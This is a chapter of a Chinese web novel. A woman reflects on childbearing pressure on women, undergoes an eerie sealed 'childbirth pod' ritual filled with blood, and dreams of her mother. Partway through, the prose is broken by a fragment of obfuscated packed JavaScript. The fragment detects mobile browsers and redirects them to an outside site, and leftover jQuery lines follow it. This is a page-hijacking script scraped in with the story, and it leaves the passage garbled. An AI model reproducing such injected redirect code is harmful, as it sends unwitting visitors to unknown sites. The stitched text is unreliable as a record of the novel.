精神病患者并非没有神智，只是他们看待世界的方式与普通人不同。


    那么，写下这些字句的宾客们到底是精神病患者，还是其实看到了一些无法用正常逻辑语言去描述的场景，不得已使用隐喻表达内心模糊不清的感觉？


    几乎等同于“解剖”的“分娩”。


    婴孩是肉球？还是“美味的”内脏？


    究竟是容器壁，还是脆弱的子宫壁，还是分娩室壁？


    虫卵是卵子，还是分娩室内的棺材？


    爱，为何需要保持冷漠？


    ……


    最令我触动的是已婚母鸡的比喻，在社区强制婚内一年受孕的制度下，即使男女困境相似，两者的生理差异注定女性所承受的更多，与繁殖场的母鸡无异。甚至，在现实生活中的现代文明社会，无数人对男性生殖崇拜的同时，视女性为生育机器，对她们严格要求。


    多少女性从小时候起，就被灌溉自己的目标是为夫家传宗接代？他们像评估一头母猪，一只母鸡那样，围绕着婚育，对女性的一生评头论足。


    ——屁股大好生养。


    ——女大三，抱金砖。


    ——争气的肚子。不争气的肚子。


    ——必须想办法让女性乖乖地生孩子。


    ——一个女人的彩礼必须要多，这意味着她的价值高。即使作为她的卖身钱，那份彩礼将进入她兄弟的口袋。


    ——女人不需要读那么多书，书读的越多，越找不到好男人。到了把书全读完的那个年纪，同龄的好男人去找年轻女人，怎么看得上你？


    我甚至听过这样的论调，一个妻子可以是痴傻的，丑陋的，残疾的，但她不能是不孕的。


    在远古时代，对生育的追求尚可以视为在残酷的丛林世界里生存的一种手段，可随着文明发展，这个进步的时代为什么仍然抛下了女性，仍选择牺牲女性？


    我叹了一口气。同为女性，一股强烈的荒诞如潮水汹涌而来，内心深处，不仅对写下这首诗的宾客们抱有怜悯，更对女性共同被迫面对的命运而感到哀伤。


    *


    “请所有宾客进入分娩体验舱。”随着分娩室里只隐约听见窸窸窣窣的交谈声，工作人员发出最后的提醒。


    过了几分钟，分娩室彻底归于安静，工作人员高声快速念了一遍分娩手册上的条款，便道，“一分钟后，分娩体验舱舱门将关闭，顺利完成测试的宾客的舱门将在0点重新开启。若测试失败，将在1点强制开启。”


    “女士，我们不需要脱掉衣服吗？”有人问。


    “不需要。”


    “可分娩手册上写了，之前也明明都会脱掉。而且，这次有些宾客将自己的物品也带入了舱内，这不是被禁止的吗？”


    工作人员没有回答她，而是再次强调，“舱门马上就要关闭，请做好准备，静立在体验舱内。”


    提问的女人低声嘀咕了一声“真是奇怪”，便息了声音。


    我虚靠在舱内（我正努力用“体验舱”代替“棺材”，舒缓内心的不适），书包放在脚下，双手紧握，瞪大眼睛盯着舱门，心中默默倒数时间。


    五，四，三，二，一……


    只见沉重的石门缓缓挪动，最终严丝合缝地盖住了舱身，突如其来的黑暗笼罩住狭小的密闭空间，空气中爆发出呛人的灰尘味，刹那间，气管里异物感极其明显。


    我急忙捂住口鼻，勉强呼吸。然而，全身裸露在外的皮肤也逐渐被尘埃攻占，它们漂浮着落到我的手臂与面庞，紧紧扒在表面，不出意外，顷刻间已形成了一片泥膜。


    这些泥土到底是从何而来？简直就像一层场小型沙尘暴！


    在我满心疑惑时，脚底和背部又传来异样。


    是水。


    无穷无尽的水。


    不，鼻子里钻进熟悉的、淡淡的铁锈味，我马上推翻几秒前的判断。


    是血。


    这就是规则所说的，能够提供营养物质的液体吗？


    血腥味随着液体在舱内的增加由淡转浓，同时溶解皮肤上的污泥。当它没过我的脖颈，即将到达下颚，我扑通双臂，试图在水压中找到平衡点。


    尽管规则已经提前提醒我们不需要感到害怕，但此时此刻，我的大脑里还是不受控制闪现了无数种用水折磨人的酷刑。更何况，我是个旱鸭子，压根不会游泳！


    直到血水漫过我的口鼻，我才惊讶地后知后觉，在流动的液体内，我的呼吸其实完全不受任何影响！


    试探着张开嘴，血水像是被奇怪的力量隔离，全然不会涌入我的嘴中，耸了耸鼻子，鼻呼吸也非常顺畅。此外，即使全身湿透，沐浴在温热的液体内，我并不感到寒冷。


    我很快平静了下来。即使我清晰地明白，这些替我驱散寒冷的液体是血水，它即刻就要淹没我的头顶——我刻意避免想起这个事实。


    在水位上升期间，分娩舱从竖立状态缓缓转为卧倒姿势，与地面持平。浮在水中，我舒服地张开双臂，闭上眼，任由它流过我的四肢，任由身体在水流的带动下向四面漂动。


    这不失为一场非常奇妙独特的分娩体验，流动的血水吞灭了我曾幻想的铺天盖地的疼痛、绝望、对即为人母的恐惧。甚至，我萌生出这样的念头：与其说在冰冷的石棺中体验分娩，不如说我回到母亲的子宫，回到了生命伊始之地，成为二十二年前装裹于母亲羊水中的婴孩。短暂的一生里，我从未感到如此畅快惬意和安全。


    自来到西班牙起就弥漫在我身体中的疲惫与烦恼忧虑尽数疏解，我打了个哈欠，微笑着陷入了睡眠。


    *


    我梦到了我的母亲。


    小学作文里，我曾赠予她无数美好的词汇。


    坚强。她独自一人在陌生遥远的城市中拼搏。


    美丽。她是我见过最漂亮的女性，长相英气，眉宇开阔。


    勇敢。她行事干脆，大胆，一点也不害怕那只总爱啄我屁股的红冠公鸡。


    温柔。虽然外公点评她一点也不温柔，可幼小的我总记得她如何替我吹凉一碗滚烫的汤面，为我擦去嘴角的汤渍。


    ......


    太多太多。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871886|148476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >我绞尽脑汁，耗尽贫乏的词汇，用拼音代替不会写的词语。


    那篇作文超过了规定字数，我只好把我对她的思念继续写在作文区域外的空白处。


    语文老师表扬我用语感人，真情诚挚。只是我得注意，必须控制作文字数，不能超过格子数目。


    我那时疑惑不解，母女之爱，为何要自行克制？


    我要将全天下最好的词语都送给我的母亲。


    直到外公于2013年十一月末离世。


    彼时，我离乡几月，来到母亲工作的城市开始初中学习。环境骤然改变，没有任何缓冲地直接住宿，加上突遇亲人离世，我的内心积压了许多无法言说的痛楚。每个失眠的深夜都向我反复证实一件事情，在这世上，我只剩下母亲一个亲人。


    我不想将我和她的关系定义为相依为命或互相取暖，可与此同时，我无时无刻不在担惊受怕。我害怕死亡再一次猝不及防地到来，害怕我真的成为一株孑然无依的浮萍，一只无人在意的蜉蝣，我也害怕，我的母亲是否和我一样被巨大的恐惧侵蚀？


    学校在宿舍楼安装了电话机，那段时间，下课铃一响，我就快跑出教室，与其他冲向食堂的同学们不同，我径直跑回宿舍，给母亲打电话。


    无人接听。总是无人接听。


    由于一个月才能回去一次，我求助班主任替我发短信和在社交软件上联系母亲。同样迟迟未回复。


    班主任问我是否有其他亲人，我近乎自虐地在心底回忆我所认识的大人们，企图揪出一个可以称得上亲人的名字。


    最终，我摇了摇头。


    我开始每天锲而不舍地向母亲打十几个电话，断断续续地打。课间十分钟，跑回宿舍楼，又跑回教室，由于母亲总是不接听我的来电，我的往返时间很充裕；吃饭前，我通常能第一个或第二个赶到电话旁，吃完饭后回来打电话则需要排一条长队；睡前，宿管阿姨也许是从班主任处得知我的母亲“失联”，对我网开一面，允许我在睡觉时间使用电话。


    她有一次将她的手机借给了我。我一边思索措辞，一边笨拙地在那个小小的按键手机上，打下一行字。


    “妈妈，我是小茗，你什么时候接我回去？”


    我的母亲最终在两个星期后风尘仆仆地赶回学校，接我回家过元旦。失联实为一场乌龙，她的解释是，公司出差，她使用另一个工作号码，无暇查看私人信息。


    她牵着我的手，一边轻揉我的手指，一边在老师神情严肃地批评她粗心大意、不负责任时连声道歉。


    我仰着头，注意到她疲惫的面容与布满红丝的双眼，感到前所未有的羞愧。回到家中，她并没有责怪我，只是再次向我抱歉，然后轻声说，“小茗，这段时间妈妈的工作都会很忙，如果没有接你的电话，你不要害怕，等妈妈看到了，会给你的老师打电话，好吗？”


    我咬着嘴唇注视她，百转千回，千言万语，“好的，妈妈。”


    那年年末，我意识到，我依旧要将全天下最好的词语都送给我的母亲，可是我得轻声地说，不打扰任何人。